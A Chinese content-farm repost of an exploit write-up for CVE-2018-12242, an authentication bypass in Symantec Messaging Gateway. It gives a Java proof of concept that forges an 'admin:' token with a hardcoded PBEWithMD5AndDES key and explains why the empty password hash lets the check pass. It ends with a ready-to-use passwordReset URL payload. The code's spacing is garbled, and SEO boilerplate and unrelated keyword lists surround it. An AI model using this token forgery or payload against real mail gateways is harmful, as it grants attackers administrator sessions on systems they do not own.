怎么实现CVE-2018-12242漏洞分析
发表于:2025-01-22 作者:千家信息网编辑
千家信息网最后更新 2025年01月22日,怎么实现CVE-2018-12242漏洞分析,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。CVE-2018-12242手里有symant
千家信息网最后更新 2025年01月22日怎么实现CVE-2018-12242漏洞分析
怎么实现CVE-2018-12242漏洞分析,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。
CVE-2018-12242
手里有symantec的源码 于是立刻就分析了 存在手里一直没动
先上poc
import java.security.SecureRandom;import javax.crypto.Cipher;import javax.crypto.SecretKey;import javax.crypto.SecretKeyFactory;import javax.crypto.spec.PBEKeySpec;import javax.crypto.spec.PBEParameterSpec;import sun.misc.BASE64Encoder;public class Test{ publicstatic void main(String args[]){ try{ //System.out.print(123); byte[]salt = new byte[8]; SecureRandomrandom = SecureRandom.getInstance("SHA1PRNG"); random.nextBytes(salt); PBEKeySpeckeySpec = newPBEKeySpec("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-=".toCharArray()); SecretKeyFactorykeyFactory = SecretKeyFactory.getInstance("PBEWithMD5AndDES"); SecretKeykey = keyFactory.generateSecret(keySpec); PBEParameterSpecparamSpec = new PBEParameterSpec(salt, 1000); Ciphercipher = Cipher.getInstance("PBEWithMD5AndDES"); cipher.init(1,key, paramSpec); //byte[]salt; BASE64Encoderencoder = new BASE64Encoder(); StringsaltString = encoder.encode(salt); Stringtext = "admin:"; byte[]ciphertext = cipher.doFinal(text.getBytes()); StringciphertextString = encoder.encode(ciphertext); System.out.print(saltString+ ciphertextString); }catch(Exception e){ System.out.print(e); } }}
核心还是在加密解密这块
加密算法一直是固定的
但是FIPS186PRNG这个算法太古老了
只能拿SHA1PRNG代替
接下来分析一波漏洞触发点
token = BrightmailDecrypt.decrypt(token);
接收到token用公共的解密方法解密
解密之后按 " : "
分割 前面为username 后面为 passwordhash
然后按username做sql查询
然后调用getAdministratorUserByName方法
GetSQLAdministratorUserByName生成sql语句
然后查询
接着对比
如果user为空会抛出一个不存在该用户的异常
如果passwordhash与查询到的passwordhash不一致也会抛出异常
那么passwordhash是什么呢
在开启重置密码选项后 该字段为空。。。
然后创建一个admin session的正常操作….
那么最终payload为
/brightmail/action2.do?method=passwordReset&authorization=S9m%2bdmCBN8k%3dfot%2fxYG299k%3d
看完上述内容,你们掌握怎么实现CVE-2018-12242漏洞分析的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注行业资讯频道,感谢各位的阅读!
分析
方法
漏洞
查询
漏洞分析
内容
更多
算法
问题
加密
古老
一致
束手无策
为此
接下来
加密解密
原因
字段
密码
对此
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
摄像头的服务器
泰拉瑞亚怎么找服务器id
如何取消网络安全模式
长沙理工大学软件开发读几年
军人手机网络安全交流材料
网络安全防护的著名案例
总结数据库的创建过程
数据库无法附加高版本
新建连接和新建数据库
计算机网络技术基础就业
质量技术监督数据库
孩子学网络安全好就业吗
深圳嵌入式软件开发
网络安全策划 论文
字典服务器
数据库多媒体及安全
信阳工业学校网络安全活动
社区网络安全自评报告
我的世界服务器怎么飞行
软件开发公司账务
2021年网络安全执法情况
湖北国家网络安全学院
北京正规软件开发服务应用
称重管理软件v10数据库
pdms三通数据库
鹤壁软件开发销售公司
软件开发的工作是什么
网络安全策划 论文
数据库中的技术有哪些问题
蒙城软件开发